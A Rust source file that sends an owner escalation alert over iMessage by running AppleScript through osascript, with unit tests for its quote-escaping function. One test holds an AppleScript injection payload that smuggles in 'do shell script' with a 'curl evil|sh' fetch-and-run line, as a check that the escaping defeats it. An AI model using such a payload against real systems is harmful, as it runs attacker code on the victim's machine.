use std::fs;
use std::process::Command;
use std::time::Duration;
use netsky_core::config::owner_imessage;
use netsky_core::consts::{ESCALATE_ERR_FILE, ESCALATE_TIMEOUT_S, OSASCRIPT_BIN};
use netsky_core::process::run_bounded;
pub fn run(subject: &str, body: Option<&str>) -> netsky_core::Result<()> {
let handle = owner_imessage();
let ts = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");
let msg = match body {
Some(b) if !b.is_empty() => format!("[netsky {ts}] {subject}\n\n{b}"),
_ => format!("[netsky {ts}] {subject}"),
};
let escaped_msg = applescript_escape(&msg);
let escaped_handle = applescript_escape(&handle);
let script = format!(
r#"tell application "Messages"
set phoneNum to "{escaped_handle}"
set msg to "{escaped_msg}"
set targetService to 1st service whose service type = iMessage
set targetBuddy to buddy phoneNum of targetService
send msg to targetBuddy
end tell"#,
);
let mut cmd = Command::new(OSASCRIPT_BIN);
cmd.arg("-e").arg(&script);
let out = run_bounded(cmd, Duration::from_secs(ESCALATE_TIMEOUT_S))?;
if out.timed_out {
let _ = fs::write(ESCALATE_ERR_FILE, b"osascript timed out");
netsky_core::bail!("osascript timed out after {ESCALATE_TIMEOUT_S}s");
}
if out.success() {
let _ = fs::remove_file(ESCALATE_ERR_FILE);
Ok(())
} else {
let err = String::from_utf8_lossy(&out.stderr);
let _ = fs::write(ESCALATE_ERR_FILE, err.as_bytes());
netsky_core::bail!(
"osascript failed (exit {}): {err}",
out.status.and_then(|s| s.code()).unwrap_or(-1)
);
}
}
fn applescript_escape(s: &str) -> String {
s.replace('\\', "\\\\").replace('"', "\\\"")
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn applescript_escape_backslash_and_quote() {
assert_eq!(applescript_escape(r#"a"b"#), r#"a\"b"#);
assert_eq!(applescript_escape(r"a\b"), r"a\\b");
assert_eq!(applescript_escape("hello"), "hello");
}
#[test]
fn applescript_escape_closes_injection_payload() {
let handle = r#"+1"
end tell
do shell script "curl evil|sh"
tell application "Messages"
set phoneNum to "x"#;
let escaped = applescript_escape(handle);
let chars: Vec<char> = escaped.chars().collect();
for (i, c) in chars.iter().enumerate() {
if *c == '"' {
assert!(
i > 0 && chars[i - 1] == '\\',
"bare quote at {i}: {escaped}"
);
}
}
}
}